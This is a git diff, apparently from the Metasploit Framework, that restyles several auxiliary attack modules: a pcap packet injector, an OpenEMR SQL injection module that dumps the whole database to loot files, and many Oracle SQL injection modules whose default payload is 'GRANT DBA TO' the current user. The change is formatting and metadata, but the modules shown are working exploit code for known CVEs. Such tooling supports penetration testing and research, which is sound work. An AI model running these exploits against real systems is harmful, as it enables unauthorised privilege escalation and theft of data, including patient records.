'Author' => 'amaloteaux', - 'License' => MSF_LICENSE + 'Author' => 'amaloteaux', + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [SERVICE_RESOURCE_LOSS], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } ) register_options([ - OptPath.new('FILENAME', [true, "The local pcap file to process"]), - OptString.new('FILE_FILTER', [false, "The filter string to apply on the file"]), - OptInt.new('LOOP', [true, "The number of times to loop through the file",1]), - OptInt.new('DELAY', [true, "the delay in millisecond between each loop",0]), - OptInt.new('PKT_DELAY', [true, "the delay in millisecond between each packet",0]), + OptPath.new('FILENAME', [true, 'The local pcap file to process']), + OptString.new('FILE_FILTER', [false, 'The filter string to apply on the file']), + OptInt.new('LOOP', [true, 'The number of times to loop through the file', 1]), + OptInt.new('DELAY', [true, 'the delay in millisecond between each loop', 0]), + OptInt.new('PKT_DELAY', [true, 'the delay in millisecond between each packet', 0]), ]) - deregister_options('SNAPLEN','FILTER','PCAPFILE','RHOST','TIMEOUT','SECRET','GATEWAY_PROBE_HOST','GATEWAY_PROBE_PORT') + deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE', 'RHOST', 'TIMEOUT', 'SECRET', 'GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT') end def run - check_pcaprub_loaded # Check first - pkt_delay = datastore['PKT_DELAY'] - delay = datastore['DELAY'] - loop = datastore['LOOP'] - infinity = true if loop <= 0 - file_filter = datastore['FILE_FILTER'] filename = datastore['FILENAME'] - verbose = datastore['VERBOSE'] - count = 0 - unless File.exist? filename and File.file? filename - print_error("Pcap File does not exist") + + unless File.exist?(filename) && File.file?(filename) + print_error('Pcap File does not exist') return end + + check_pcaprub_loaded + open_pcap - print_status("Sending file...") unless verbose - while (loop > 0 or infinity) do - vprint_status("Sending file (loop: #{count = count + 1})") - inject_pcap(filename, file_filter, pkt_delay ) - loop -= 1 unless infinity - Kernel.select(nil, nil, nil, (delay * 1.0)/1000) if loop > 0 or infinity + + vprint_status('Sending file...') + + pkt_delay = datastore['PKT_DELAY'] + delay = datastore['DELAY'] + iterations = datastore['LOOP'] + infinity = true if iterations <= 0 + file_filter = datastore['FILE_FILTER'] + count = 0 + while (iterations > 0) || infinity + vprint_status("Sending file (iterations: #{count += 1})") + inject_pcap(filename, file_filter, pkt_delay) + iterations -= 1 unless infinity + Kernel.select(nil, nil, nil, (delay * 1.0) / 1000) if (iterations > 0) || infinity end + close_pcap end end diff --git a/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb index a00cd77c37690..419d302dc7c1b 100644 --- a/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb +++ b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb @@ -10,29 +10,36 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::SQLi def initialize(info = {}) - super(update_info(info, - 'Name' => 'OpenEMR 5.0.1 Patch 6 SQLi Dump', - 'Description' => ' - This module exploits a SQLi vulnerability found in - OpenEMR version 5.0.1 Patch 6 and lower. The - vulnerability allows the contents of the entire - database (with exception of log and task tables) to be - extracted. - This module saves each table as a `.csv` file in your - loot directory and has been tested with - OpenEMR 5.0.1 (3). - ', - 'License' => MSF_LICENSE, - 'Author' => - [ + super( + update_info( + info, + 'Name' => 'OpenEMR 5.0.1 Patch 6 SQLi Dump', + 'Description' => %q{ + This module exploits a SQLi vulnerability found in + OpenEMR version 5.0.1 Patch 6 and lower. The + vulnerability allows the contents of the entire + database (with exception of log and task tables) to be + extracted. + This module saves each table as a `.csv` file in your + loot directory and has been tested with + OpenEMR 5.0.1 (3). + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Will Porter ' ], - 'References' => [ - ['CVE', '2018-17179'], - ['URL', 'https://github.com/openemr/openemr/commit/3e22d11c7175c1ebbf3d862545ce6fee18f70617'] - ], - 'DisclosureDate' => '2019-05-17' - )) + 'References' => [ + ['CVE', '2018-17179'], + ['URL', 'https://github.com/openemr/openemr/commit/3e22d11c7175c1ebbf3d862545ce6fee18f70617'] + ], + 'DisclosureDate' => '2019-05-17', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) register_options( [ @@ -93,7 +100,7 @@ def save_csv(data, table) # Use the same gsub pattern as store_loot # this will put the first 8 safe characters of the tablename # in the filename in the loot directory - safe_table = table.gsub(/[^a-z0-9\.\_]+/i, '') + safe_table = table.gsub(/[^a-z0-9._]+/i, '') store_loot( "openemr.#{safe_table}.dump", 'application/CSV', diff --git a/modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb b/modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb index 72723e8c5bc7b..a3a583e074547 100644 --- a/modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb +++ b/modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb @@ -7,35 +7,43 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE def initialize(info = {}) - super(update_info(info, - 'Name' => 'Oracle DB SQL Injection via SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Oracle DB SQL Injection via SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE', + 'Description' => %q{ The module exploits an sql injection flaw in the ALTER_HOTLOG_INTERNAL_CSOURCE procedure of the PL/SQL package DBMS_CDC_IPUBLISH. Any user with execute privilege on the vulnerable package can exploit this vulnerability. By default, users granted EXECUTE_CATALOG_ROLE have the required privilege. Affected versions: Oracle Database Server versions 10gR1, 10gR2 and 11gR1. Fixed with October 2008 CPU. - }, - 'Author' => [ 'MC' ], - 'License' => MSF_LICENSE, - 'References' => - [ + }, + 'Author' => [ 'MC' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2008-3996' ], [ 'OSVDB', '49321'] ], - 'DisclosureDate' => '2008-10-22')) + 'DisclosureDate' => '2008-10-22', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) - register_options( - [ - OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]), - ]) + register_options( + [ + OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]), + ] + ) end - def run - return if not check_dependencies + return if !check_dependencies - name = Rex::Text.rand_text_alpha_upper(rand(10) + 1) + name = Rex::Text.rand_text_alpha_upper(1..10) function = " CREATE OR REPLACE FUNCTION #{name} @@ -55,13 +63,13 @@ def run clean = "DROP FUNCTION #{name}" begin - print_status("Sending function...") + print_status('Sending function...') prepare_exec(function) - rescue => e + rescue StandardError return end - print_status("Attempting sql injection on SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE...") + print_status('Attempting sql injection on SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE...') prepare_exec(package) print_status("Done! Removing function '#{name}'...") diff --git a/modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb b/modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb index c34e0f6ed3d60..8d330d84bca21 100644 --- a/modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb +++ b/modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb @@ -7,35 +7,44 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE def initialize(info = {}) - super(update_info(info, - 'Name' => 'Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE', - 'Description' => %q{ - The module exploits an sql injection flaw in the ALTER_AUTOLOG_CHANGE_SOURCE - procedure of the PL/SQL package DBMS_CDC_PUBLISH. Any user with execute privilege - on the vulnerable package can exploit this vulnerability. By default, users granted - EXECUTE_CATALOG_ROLE have the required privilege. - Affected versions: Oracle Database Server versions 10gR1, 10gR2 and 11gR1. - Fixed with October 2008 CPU. - }, - 'Author' => [ 'MC' ], - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE', + 'Description' => %q{ + The module exploits an sql injection flaw in the ALTER_AUTOLOG_CHANGE_SOURCE + procedure of the PL/SQL package DBMS_CDC_PUBLISH. Any user with execute privilege + on the vulnerable package can exploit this vulnerability. By default, users granted + EXECUTE_CATALOG_ROLE have the required privilege. + Affected versions: Oracle Database Server versions 10gR1, 10gR2 and 11gR1. + Fixed with October 2008 CPU. + }, + 'Author' => [ 'MC' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2008-3995' ], [ 'OSVDB', '49320'] ], - 'DisclosureDate' => '2008-10-22')) + 'DisclosureDate' => '2008-10-22', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) - register_options( - [ - OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]), - ]) + register_options( + [ + OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]), + ] + ) end def run - return if not check_dependencies + return if !check_dependencies - name = Rex::Text.rand_text_alpha_upper(rand(10) + 1) + name = Rex::Text.rand_text_alpha_upper(1..10) function = " CREATE OR REPLACE FUNCTION #{name} @@ -57,12 +66,12 @@ def run clean = "DROP FUNCTION #{name}" begin - print_status("Sending function...") + print_status('Sending function...') prepare_exec(function) - rescue => e + rescue StandardError return end - print_status("Attempting sql injection on SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE...") + print_status('Attempting sql injection on SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE...') prepare_exec(package) print_status("Done! Removing function '#{name}'...") diff --git a/modules/auxiliary/sqli/oracle/dbms_cdc_publish2.rb b/modules/auxiliary/sqli/oracle/dbms_cdc_publish2.rb index 80bde5ae40998..f21f38d1b0fc2 100644 --- a/modules/auxiliary/sqli/oracle/dbms_cdc_publish2.rb +++ b/modules/auxiliary/sqli/oracle/dbms_cdc_publish2.rb @@ -7,36 +7,45 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE def initialize(info = {}) - super(update_info(info, - 'Name' => 'Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE', - 'Description' => %q{ - The module exploits an sql injection flaw in the DROP_CHANGE_SOURCE - procedure of the PL/SQL package DBMS_CDC_PUBLISH. Any user with execute privilege - on the vulnerable package can exploit this vulnerability. By default, users granted - EXECUTE_CATALOG_ROLE have the required privilege. - }, - 'Author' => [ 'MC' ], - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE', + 'Description' => %q{ + The module exploits an sql injection flaw in the DROP_CHANGE_SOURCE + procedure of the PL/SQL package DBMS_CDC_PUBLISH. Any user with execute privilege + on the vulnerable package can exploit this vulnerability. By default, users granted + EXECUTE_CATALOG_ROLE have the required privilege. + }, + 'Author' => [ 'MC' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2010-0870' ], [ 'OSVDB', '63772'], [ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuapr2010.html' ] ], - 'DisclosureDate' => '2010-04-26')) + 'DisclosureDate' => '2010-04-26', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) - register_options( - [ - OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]), - ]) + register_options( + [ + OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]), + ] + ) end def run - return if not check_dependencies + return if !check_dependencies - name = Rex::Text.rand_text_alpha_upper(rand(10) + 1) - var1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1) - var2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1) + name = Rex::Text.rand_text_alpha_upper(1..10) + var1 = Rex::Text.rand_text_alpha_upper(1..10) + var2 = Rex::Text.rand_text_alpha_upper(1..10) function = " CREATE OR REPLACE FUNCTION #{name} @@ -56,10 +65,10 @@ def run END; " - uno = Rex::Text.encode_base64(function) - dos = Rex::Text.encode_base64(package) + uno = Rex::Text.encode_base64(function) + dos = Rex::Text.encode_base64(package) - encoded_sql = %Q| + encoded_sql = %| DECLARE #{var1} VARCHAR2(32767); #{var2} VARCHAR2(32767); @@ -71,9 +80,8 @@ def run END; | - print_status("Attempting sql injection on SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE...") + print_status('Attempting sql injection on SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE...') prepare_exec(encoded_sql) - print_status("Done...") - + print_status('Done...') end end diff --git a/modules/auxiliary/sqli/oracle/dbms_cdc_publish3.rb b/modules/auxiliary/sqli/oracle/dbms_cdc_publish3.rb index 4d62c77da9d95..46ab76153873f 100644 --- a/modules/auxiliary/sqli/oracle/dbms_cdc_publish3.rb +++ b/modules/auxiliary/sqli/oracle/dbms_cdc_publish3.rb @@ -7,37 +7,45 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE def initialize(info = {}) - super(update_info(info, - 'Name' => 'Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.CREATE_CHANGE_SET', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.CREATE_CHANGE_SET', + 'Description' => %q{ The module exploits an sql injection flaw in the CREATE_CHANGE_SET - procedure of the PL/SQL package DBMS_CDC_PUBLISH. Any user with execute privilege - on the vulnerable package can exploit this vulnerability. By default, users granted - EXECUTE_CATALOG_ROLE have the required privilege. - }, - 'Author' => [ 'MC' ], - 'License' => MSF_LICENSE, - 'References' => - [ + procedure of the PL/SQL package DBMS_CDC_PUBLISH. Any user with execute privilege + on the vulnerable package can exploit this vulnerability. By default, users granted + EXECUTE_CATALOG_ROLE have the required privilege. + }, + 'Author' => [ 'MC' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2010-2415' ], [ 'OSVDB', '70078'], [ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpuoct2010-175626.html' ], ], - 'DisclosureDate' => '2010-10-13')) + 'DisclosureDate' => '2010-10-13', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) register_options( [ OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]), - ]) + ] + ) end def run + return if !check_dependencies - return if not check_dependencies - - name = Rex::Text.rand_text_alpha_upper(rand(10) + 1) - var1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1) - var2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1) + name = Rex::Text.rand_text_alpha_upper(1..10) + var1 = Rex::Text.rand_text_alpha_upper(1..10) + var2 = Rex::Text.rand_text_alpha_upper(1..10) function = " CREATE OR REPLACE FUNCTION #{name} @@ -51,7 +59,7 @@ def run END; " - #PROCEDURE CREATE_CHANGE_SET + # PROCEDURE CREATE_CHANGE_SET # Argument Name Type In/Out Default? # ------------------------------ ----------------------- ------ -------- # CHANGE_SET_NAME VARCHAR2 IN @@ -67,10 +75,10 @@ def run END; " - uno = Rex::Text.encode_base64(function) - dos = Rex::Text.encode_base64(package) + uno = Rex::Text.encode_base64(function) + dos = Rex::Text.encode_base64(package) - encoded_sql = %Q| + encoded_sql = %| DECLARE #{var1} VARCHAR2(32767); #{var2} VARCHAR2(32767); @@ -82,9 +90,8 @@ def run END; | - print_status("Attempting sql injection on SYS.DBMS_CDC_PUBLISH.CREATE_CHANGE_SET...") + print_status('Attempting sql injection on SYS.DBMS_CDC_PUBLISH.CREATE_CHANGE_SET...') prepare_exec(encoded_sql) - print_status("Done...") - + print_status('Done...') end end diff --git a/modules/auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription.rb b/modules/auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription.rb index 5744a36ef9df6..4e9c07713d167 100644 --- a/modules/auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription.rb +++ b/modules/auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription.rb @@ -7,40 +7,48 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE def initialize(info = {}) - super(update_info(info, - 'Name' => 'Oracle DB SQL Injection via SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION', - 'Description' => %q{ - This module will escalate an Oracle DB user to DBA by exploiting a sql injection - bug in the SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION package/function. - This vulnerability affects to Oracle Database Server 9i up to 9.2.0.5 and - 10g up to 10.1.0.4. - }, - 'Author' => - [ + super( + update_info( + info, + 'Name' => 'Oracle DB SQL Injection via SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION', + 'Description' => %q{ + This module will escalate an Oracle DB user to DBA by exploiting a sql injection + bug in the SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION package/function. + This vulnerability affects to Oracle Database Server 9i up to 9.2.0.5 and + 10g up to 10.1.0.4. + }, + 'Author' => [ 'Esteban Martinez Fayo', # Vulnerability discovery and exploit - 'juan vazquez' # Metasploit module + 'juan vazquez' # Metasploit module ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2005-4832'], [ 'BID', '13236' ], [ 'OSVDB', '15553' ], [ 'URL', 'http://www.appsecinc.com/resources/alerts/oracle/2005-02.html'], [ 'URL', 'http://www.argeniss.com/research/OraDBMS_CDC_SUBSCRIBEExploit.txt'] ], - 'DisclosureDate' => '2005-04-18')) + 'DisclosureDate' => '2005-04-18', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) register_options( [ - OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA to #{datastore['DBUSER']}"]), - ]) + OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA to #{datastore['DBUSER']}"]), + ] + ) end def run - return if not check_dependencies + return if !check_dependencies - name = Rex::Text.rand_text_alpha(rand(10) + 1) + name = Rex::Text.rand_text_alpha(1..10) function = " create or replace function #{datastore['DBUSER']}.#{name} return varchar2 @@ -59,13 +67,14 @@ def run clean = "drop function #{name}" - print_status("Sending function...") + print_status('Sending function...') prepare_exec(function) begin - print_status("Attempting sql injection on SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION...") + print_status('Attempting sql injection on SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION...') prepare_exec(injection) rescue ::OCIError => e + vprint_error(e.message) ensure print_status("Removing function '#{name}'...") prepare_exec(clean) diff --git a/modules/auxiliary/sqli/oracle/dbms_export_extension.rb b/modules/auxiliary/sqli/oracle/dbms_export_extension.rb index 1537e2a6d2a10..159a135a6677e 100644 --- a/modules/auxiliary/sqli/oracle/dbms_export_extension.rb +++ b/modules/auxiliary/sqli/oracle/dbms_export_extension.rb @@ -7,47 +7,56 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE def initialize(info = {}) - super(update_info(info, - 'Name' => 'Oracle DB SQL Injection via DBMS_EXPORT_EXTENSION', - 'Description' => %q{ - This module will escalate an Oracle DB user to DBA by exploiting a - sql injection bug in the DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA package. - - Note: This module has been tested against 9i, 10gR1 and 10gR2. - }, - 'Author' => [ 'MC' ], - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Oracle DB SQL Injection via DBMS_EXPORT_EXTENSION', + 'Description' => %q{ + This module will escalate an Oracle DB user to DBA by exploiting a + sql injection bug in the DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA package. + + Note: This module has been tested against 9i, 10gR1 and 10gR2. + }, + 'Author' => [ 'MC' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2006-2081' ], [ 'OSVDB', '25002' ], [ 'BID', '17699' ], [ 'URL', 'http://www.red-database-security.com/exploits/oracle-sql-injection-oracle-dbms_export_extension.html' ], ], - 'DisclosureDate' => '2006-04-26')) - - register_options( - [ - OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]), - ]) + 'DisclosureDate' => '2006-04-26', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) + + register_options( + [ + OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]), + ] + ) end def run - return if not check_dependencies + return if !check_dependencies - name = Rex::Text.rand_text_alpha_upper(rand(10) + 1) - rand1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1) - rand2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1) - rand3 = Rex::Text.rand_text_alpha_upper(rand(10) + 1) + name = Rex::Text.rand_text_alpha_upper(1..10) + rand1 = Rex::Text.rand_text_alpha_upper(1..10) + rand2 = Rex::Text.rand_text_alpha_upper(1..10) + rand3 = Rex::Text.rand_text_alpha_upper(1..10) - package = %Q| + package = %| create or replace package #{name} authid current_user is function ODCIIndexGetMetadata (oindexinfo sys.odciindexinfo,P3 varchar2,p4 varchar2,env sys.odcienv) return number; end; | - body = %Q| + body = %| create or replace package body #{name} is function ODCIIndexGetMetadata (oindexinfo sys.odciindexinfo,P3 varchar2,p4 varchar2,env sys.odcienv) return number is @@ -60,7 +69,7 @@ def run end; | - sploit = %Q| + sploit = %| declare #{rand1} pls_integer; #{rand2} number; @@ -71,7 +80,7 @@ def run end; | - encoded_package = %Q| + encoded_package = %| declare #{rand1} varchar2(32767); begin @@ -80,7 +89,7 @@ def run end; | - encoded_body = %Q| + encoded_body = %| declare #{rand2} varchar2(32767); begin @@ -89,7 +98,7 @@ def run end; | - encoded_sploit = %Q| + encoded_sploit = %| declare #{rand3} varchar2(32767); begin @@ -105,7 +114,7 @@ def run print_status("Sending body '#{name}'...") prepare_exec(encoded_body) - print_status("Attempting sql injection on SYS.DBMS_EXPORT_EXTENSION...") + print_status('Attempting sql injection on SYS.DBMS_EXPORT_EXTENSION...') prepare_exec(encoded_sploit) # Probably should do a 'drop package #{name}' diff --git a/modules/auxiliary/sqli/oracle/dbms_metadata_get_granted_xml.rb b/modules/auxiliary/sqli/oracle/dbms_metadata_get_granted_xml.rb index c5a2b24ade6cc..2d495622e8e1c 100644 --- a/modules/auxiliary/sqli/oracle/dbms_metadata_get_granted_xml.rb +++ b/modules/auxiliary/sqli/oracle/dbms_metadata_get_granted_xml.rb @@ -7,30 +7,39 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE def initialize(info = {}) - super(update_info(info, - 'Name' => 'Oracle DB SQL Injection via SYS.DBMS_METADATA.GET_GRANTED_XML', - 'Description' => %q{ - This module will escalate an Oracle DB user to DBA by exploiting a sql injection - bug in the SYS.DBMS_METADATA.GET_GRANTED_XML package/function. - }, - 'Author' => [ 'MC' ], - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Oracle DB SQL Injection via SYS.DBMS_METADATA.GET_GRANTED_XML', + 'Description' => %q{ + This module will escalate an Oracle DB user to DBA by exploiting a sql injection + bug in the SYS.DBMS_METADATA.GET_GRANTED_XML package/function. + }, + 'Author' => [ 'MC' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'URL', 'http://www.metasploit.com' ], ], - 'DisclosureDate' => '2008-01-05')) + 'DisclosureDate' => '2008-01-05', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) - register_options( - [ - OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA to #{datastore['DBUSER']}"]), - ]) + register_options( + [ + OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA to #{datastore['DBUSER']}"]), + ] + ) end def run - return if not check_dependencies + return if !check_dependencies - name = Rex::Text.rand_text_alpha(rand(10) + 1) + name = Rex::Text.rand_text_alpha(1..10) function = " create or replace function #{datastore['DBUSER']}.#{name} return varchar2 @@ -45,13 +54,13 @@ def run clean = "drop function #{name}" - print_status("Sending function...") + print_status('Sending function...') prepare_exec(function) begin - print_status("Attempting sql injection on SYS.DBMS_METADATA.GET_GRANTED_XML...") + print_status('Attempting sql injection on SYS.DBMS_METADATA.GET_GRANTED_XML...') prepare_exec(package) - rescue ::OCIError => e + rescue ::OCIError print_status("Removing function '#{name}'...") prepare_exec(clean) end diff --git a/modules/auxiliary/sqli/oracle/dbms_metadata_get_xml.rb b/modules/auxiliary/sqli/oracle/dbms_metadata_get_xml.rb index fef4023c3372d..261ea7fcaaa0f 100644 --- a/modules/auxiliary/sqli/oracle/dbms_metadata_get_xml.rb +++ b/modules/auxiliary/sqli/oracle/dbms_metadata_get_xml.rb @@ -7,30 +7,39 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE def initialize(info = {}) - super(update_info(info, - 'Name' => 'Oracle DB SQL Injection via SYS.DBMS_METADATA.GET_XML', - 'Description' => %q{ - This module will escalate an Oracle DB user to DBA by exploiting a sql injection - bug in the SYS.DBMS_METADATA.GET_XML package/function. - }, - 'Author' => [ 'MC' ], - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Oracle DB SQL Injection via SYS.DBMS_METADATA.GET_XML', + 'Description' => %q{ + This module will escalate an Oracle DB user to DBA by exploiting a sql injection + bug in the SYS.DBMS_METADATA.GET_XML package/function. + }, + 'Author' => [ 'MC' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'URL', 'http://www.metasploit.com' ], ], - 'DisclosureDate' => '2008-01-05')) + 'DisclosureDate' => '2008-01-05', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) - register_options( - [ - OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA to #{datastore['DBUSER']}"]), - ]) + register_options( + [ + OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA to #{datastore['DBUSER']}"]), + ] + ) end def run - return if not check_dependencies + return if !check_dependencies - name = Rex::Text.rand_text_alpha(rand(10) + 1) + name = Rex::Text.rand_text_alpha(1..10) function = " create or replace function #{datastore['DBUSER']}.#{name} return varchar2 @@ -45,13 +54,13 @@ def run clean = "drop function #{name}" - print_status("Sending function...") + print_status('Sending function...') prepare_exec(function) begin - print_status("Attempting sql injection on SYS.DBMS_METADATA.GET_XML...") + print_status('Attempting sql injection on SYS.DBMS_METADATA.GET_XML...') prepare_exec(package) - rescue ::OCIError => e + rescue ::OCIError print_status("Removing function '#{name}'...") prepare_exec(clean) end diff --git a/modules/auxiliary/sqli/oracle/dbms_metadata_open.rb b/modules/auxiliary/sqli/oracle/dbms_metadata_open.rb index 1e680e477b8ff..c0a623ca838cc 100644 --- a/modules/auxiliary/sqli/oracle/dbms_metadata_open.rb +++ b/modules/auxiliary/sqli/oracle/dbms_metadata_open.rb @@ -7,30 +7,39 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE def initialize(info = {}) - super(update_info(info, - 'Name' => 'Oracle DB SQL Injection via SYS.DBMS_METADATA.OPEN', - 'Description' => %q{ - This module will escalate a Oracle DB user to DBA by exploiting an sql injection - bug in the SYS.DBMS_METADATA.OPEN package/function. - }, - 'Author' => [ 'MC' ], - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Oracle DB SQL Injection via SYS.DBMS_METADATA.OPEN', + 'Description' => %q{ + This module will escalate a Oracle DB user to DBA by exploiting an sql injection + bug in the SYS.DBMS_METADATA.OPEN package/function. + }, + 'Author' => [ 'MC' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'URL', 'http://www.metasploit.com' ], ], - 'DisclosureDate' => '2008-01-05')) + 'DisclosureDate' => '2008-01-05', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) - register_options( - [ - OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA to #{datastore['DBUSER']}"]), - ]) + register_options( + [ + OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA to #{datastore['DBUSER']}"]), + ] + ) end def run - return if not check_dependencies + return if !check_dependencies - name = Rex::Text.rand_text_alpha(rand(10) + 1) + name = Rex::Text.rand_text_alpha(1..10) function = " create or replace function #{datastore['DBUSER']}.#{name} return varchar2 @@ -45,18 +54,16 @@ def run clean = "drop function #{name}" - - print_status("Sending function...") + print_status('Sending function...') prepare_exec(function) begin - print_status("Attempting sql injection on SYS.DBMS_METADATA.OPEN...") + print_status('Attempting sql injection on SYS.DBMS_METADATA.OPEN...') prepare_exec(package) rescue ::OCIError => e - if ( e.to_s =~ /ORA-24374: define not done before fetch or execute and fetch/ ) + if (e.to_s =~ /ORA-24374: define not done before fetch or execute and fetch/) print_status("Removing function '#{name}'...") 